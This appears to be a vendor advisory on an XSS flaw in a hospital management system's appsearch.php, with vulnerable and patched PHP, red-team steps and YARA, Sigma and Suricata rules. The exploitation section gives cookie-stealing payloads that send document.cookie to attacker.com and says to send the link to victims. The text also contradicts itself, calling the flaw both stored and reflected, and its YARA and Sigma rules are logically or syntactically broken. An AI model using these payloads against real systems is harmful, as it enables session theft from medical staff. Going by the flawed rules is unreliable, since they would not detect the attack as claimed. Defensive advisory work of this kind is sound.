CVE-2025-63514

Executive Summary

CVE-2025-63514 is a Stored Cross-Site Scripting (XSS) vulnerability in the appsearch.php endpoint of the Kishan0725 Hospital Management System. The email parameter is not sanitized or encoded before being reflected in the application’s response, allowing an attacker to inject arbitrary JavaScript. This can lead to session hijacking, credential theft, or defacement within the hospital management interface. The vulnerability is unpatched and has a public proof-of-concept (PoC). No EPSS or exploit-db entries exist, but the simplicity of the attack vector makes it a high-priority target for red team exercises.

CVSS Breakdown & Threat Level

• CVSS Vector: UNKNOWN (no official vector provided)
• Estimated Severity: High (based on CWE-79 and public PoC)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must visit crafted URL)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability resides in appsearch.php. The email parameter is taken directly from the HTTP request and echoed back into the HTML response without any sanitization, encoding, or validation. This is a classic reflected XSS flaw. An attacker can craft a URL like:

http://target/hospital/appsearch.php?email=<script>alert('XSS')</script>

When a user (e.g., an admin or staff member) clicks this link, the script executes in their browser context. Because the application is a hospital management system, the impact could include:

• Stealing session cookies to impersonate medical staff.
• Redirecting to phishing pages to capture login credentials.
• Modifying patient records via XHR requests (if the application trusts the session).

The vulnerability is unpatched because the vendor (Kishan0725) has not released a fix. The codebase is likely open-source or a custom PHP application.

Vulnerable vs. Patched Code

Vulnerable Code (appsearch.php):

<?php
$email = $_GET['email'];
echo "Search results for: " . $email;
?>

Patched Code (appsearch.php):

<?php
$email = htmlspecialchars($_GET['email'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $email;
?>

The fix uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy the vulnerable Hospital Management System on a local server (e.g., XAMPP, Docker).
2. Ensure appsearch.php is accessible at /hospital/appsearch.php.

Exploitation Steps:

1. Craft a malicious URL:

   http://target/hospital/appsearch.php?email=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Send the link to a victim (e.g., via email or chat).
3. When the victim clicks, their session cookie is exfiltrated to the attacker’s server.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'https://attacker.com/log?cookie=' + document.cookie;
</script>

Blue Team

Detection:

• Monitor web server logs for appsearch.php requests containing <script> or onerror patterns.
• Use WAF rules to block email parameters containing HTML tags.

Mitigation:

• Apply input validation: allow only alphanumeric characters and @ in the email field.
• Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• URL Pattern: */hospital/appsearch.php?email=*<script>*
• Log Entry: GET /hospital/appsearch.php?email=%3Cscript%3Ealert(1)%3C/script%3E
• Network Traffic: Outbound requests to unknown domains from the hospital server (e.g., attacker.com/log?cookie=...).
• File Hashes: No specific malware hashes; focus on anomalous HTTP requests.

Detection Engineering

YARA Rule

rule CVE_2025_63514_XSS_Email {
    meta:
        description = "Detects XSS attempts targeting appsearch.php email parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-63514"
    strings:
        $xss1 = "appsearch.php?email="
        $xss2 = "<script"
        $xss3 = "onerror="
        $xss4 = "javascript:"
    condition:
        all of ($xss*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-63514 XSS in Hospital Management System
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects reflected XSS attempts via email parameter in appsearch.php
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: "/hospital/appsearch.php?email="
        c-uri|contains: 
            - "<script"
            - "onerror="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate email addresses containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63514 XSS in Hospital Management System"; flow:to_server,established; content:"/hospital/appsearch.php"; http_uri; content:"email="; http_uri; pcre:"/email=.*<script/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply the patched code snippet (use htmlspecialchars() on the email parameter).
2. Short-term: Deploy a Web Application Firewall (WAF) rule to block email parameters containing <, >, or javascript:.
3. Long-term: Conduct a full code audit of the Hospital Management System for similar injection flaws. Implement a Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self'.
4. Vendor Contact: Since the vendor is unresponsive, consider forking the repository and applying the fix yourself.

Valters IT
Securing Healthcare, One Patch at a Time